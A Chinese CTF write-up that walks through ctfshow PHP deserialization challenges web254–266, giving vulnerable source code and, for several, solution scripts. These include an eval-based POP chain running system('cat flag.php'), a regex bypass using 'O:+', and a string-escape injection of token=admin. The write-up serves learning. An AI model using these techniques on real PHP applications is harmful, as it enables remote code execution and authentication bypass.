通過ctf幾道題學習php的反序列化
web254
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析
先初始化ctfShowUser類,然后在后面的if中先判斷變量是否設置,然后new一個新對象$user,用戶輸入的參數與$user對比是否一致,所以只需要傳入username='xxxxxx'&password='xxxxxx'
實現
payload:username='xxxxxx'&password='xxxxxx'
web255
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
分析
先初始化ctfShowUser類,然后在后面的if中先判斷變量是否設置,然后通過反序列化獲取對象賦值給$user(序列化將對象保存到字符串,反序列化將字符串恢復為對象),反序列化的值是user的cookie,之后要求checkVip為true,然后執行vipOneKeyGetFlag()得到flag
要讓isvip為true才能執行后面的函數得到flag,所以我們要寫一個php序列化函數傳到cookie,然后經過反序列化由賦值給$user,然后isvip去之前的一致得到flag。注意在cookie字段當中需要url編碼一波,其名稱以及存儲的字符串值是必須經過URL編碼
實現
web256
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析
大部分思路與web255相似,唯一區別在
要求username不等於password。
web257
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
分析
能利用的點是eval函數輸出php代碼進行命令執行,所以我們需要在初始化backDoor類,然后在ctfShowUser類的__destruct中發現了$this->class->getInfo();,那么我們只需要讓$this->class是backDoor類的實例化就可以了。反序列化時,首先調用__destruct,接着調用$this->class->getInfo();也就是backDoor->getinfo(),最后觸發eval。
實現
別人的payload(https://y4tacker.blog.csdn.net/article/details/110499314)
web258
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
分析
構造pop鏈時可以用到str_replace函數。在257基礎上增加了一串正則表達式。因為正則把O:過濾了,可以利用str_replace函數把O:換成O:+
實現
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:','O:+',$a);
echo urlencode($a);
web259(還不會)
利用的是php原生類SoapClient
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
分析
get傳參的值序列化之后要有ctfshow_i_love_36D,所以傳ctfshow=ctfshow_i_love_36D
實現
payload:ctfshow=ctfshow_i_love_36D
web262
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
//message.php下的源碼
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
分析
在標題注釋里面有個message.php 猜測可以試一下 得到以下代碼。
在message.php這個頁面中,輸入msg作為cookie參數然后base64解密再反序列化賦值給$msg,判斷token是否等於admin,然后獲取flag。 所以第一步我們需要先將$token='admin';序列化得到 O:7:"message":1:{s:5:"token";s:5:"admin";}
我們只需要用到{s:5:"token";s:5:"admin";}這一部分,通俗的講我們需要構造一個長度跟{s:5:"token";s:5:"admin";}一樣的字符串將序列化好的結構打亂,讓需要利用的地方通過反序列化函數最后獲取flag。通過python可以知道";s:5:"token";s:5:"admin";}的長度(必須要在s:5:"token";s:5:"admin";}前面加上";->";s:5:"token";s:5:"admin";}),
然后通過
這幾句話可以知道每出現一個fuck或者loveU可以替換一個字符,一個27個,所以需要構造27個fuck或者loveU,與";s:5:"token";s:5:"admin";}拼接,其他變量何以為任意。這樣序列化對應的27為長度在過濾后的序列化會被27個fuck或者loveU填充,從而使我們構造的代碼 ;s:5:"token";s:5:"admin";}
成功逃逸。
實現
- 寫php腳本
-
構造patyload
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
-
訪問message.php
然后訪問message.php得到flag
web263(php session反序列化漏洞)
分析
session反序列化漏洞過程可以理解為,1.先獲取cookie建立連接 2.抓包修改cookie成序列化字符串 3.然后在訪問check.php,這樣子cookie中的序列化字符串會傳入到check.php中實現了命令執行 4.然后訪問寫入的php文件即可得到flag
還是看大佬們的博客吧
web264
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
分析
思路是跟web262很像,只是在message.php下cookie變成了session。
cookie變成了session, 所以不能直接修改cookie。它需要什么就加什么,需要傳一個cookie的msg值,抓包以后在cookie那里加上msg=1就可以了。
過程
web265
php引用符&(https://www.jb51.net/article/174133.htm)
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
實現
class ctfshowAdmin{
public $token = 'a';
public $password = 'a';
public function __construct(){
$this->token = 'a';
$this->password =& $this->token;
}
}
echo serialize(new ctfshowAdmin());
web266
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
實現
php寫腳本
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
echo serialize(new ctfshow());
通過post傳參。 但是需要注意大小寫。 最后兩行源碼過濾了ctfshow